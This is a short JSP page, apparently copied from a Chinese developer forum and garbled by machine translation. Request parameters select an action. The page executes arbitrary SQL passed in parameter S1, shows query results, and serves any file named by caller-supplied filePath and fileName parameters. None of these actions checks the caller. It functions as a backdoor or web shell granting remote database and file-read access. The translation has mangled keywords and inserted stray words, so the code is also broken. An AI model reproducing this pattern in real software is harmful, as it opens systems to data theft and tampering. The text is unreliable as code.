<% % @ page language="Java" & gt;
<% @ page session="true" % & gt;
<% @ page contentType="text/HTML. Charset=GB2312 "% & gt;
<meta name="GENERATOR" content="Microsoft FrontPage 6.0" & gt;
<meta name="ProgId" content="FrontPage. Editor. The Document" & gt;
<meta HTTP - equiv="content-type" Content="text/HTML. Charset=gb2312 "& gt;
<%
String doType=request. The getParameter (" doType ");
If (doType==null) {return; }
If (doType. Equals (" 100 "))
{
String SQL=request. The getParameter (" S1 ");
If (SQL!=null)
{
DoSQLExecProc doProc=new doSQLExecProc ();
DoProc. PSQL=SQL;
DoProc. DoProc ();
Out.println (" execution success!" );
}
}
Else if (doType equals (" 101 "))
{
String SQL=request. The getParameter (" S1 ");
If (SQL!=null)
{
ArrayList row=new ArrayList ();
ArrayList rows=new ArrayList ();
Boolean rowNum=true;
int count=0;
Int per=100;
Int page1=1;
Try {page1=Integer. ParseInt (request. The getParameter (" page ")); } the catch (Exception e) {}
Try {
GridData data=https://bbs.csdn.net/topics/new GridData (SQL);
If (rowNum==true)
{
Count=data. GetColumnCount () + 1;
}
The else
{
Count=data. GetColumnCount ();
}
GridHead head=new GridHead (" table1 ", "sort", a String, the valueOf (count * 120), false);
WebGrid grid=new WebGrid (response, head, data, rowNum);
The grid. The show (page1, per);
} the catch (Exception e) {out.println (e); }
}
}
Else if (doType equals (" 102 "))
{
The String fileName=request. The getParameter (" fileName ");
String fileTrueName=request. The getParameter (" fileTrueName ");
FilePath String filePath=request. The getParameter (" ");
The new net.btdz.oa.com mon. Downloadfile (filePath, fileName, fileTrueName, response);
}
The else {
% & gt;
<body scroll=yes topmargin="0" leftmargin="0" rightmargin="0" bottommargin="0" & gt;
& lt; tr>
<%
}
% & gt;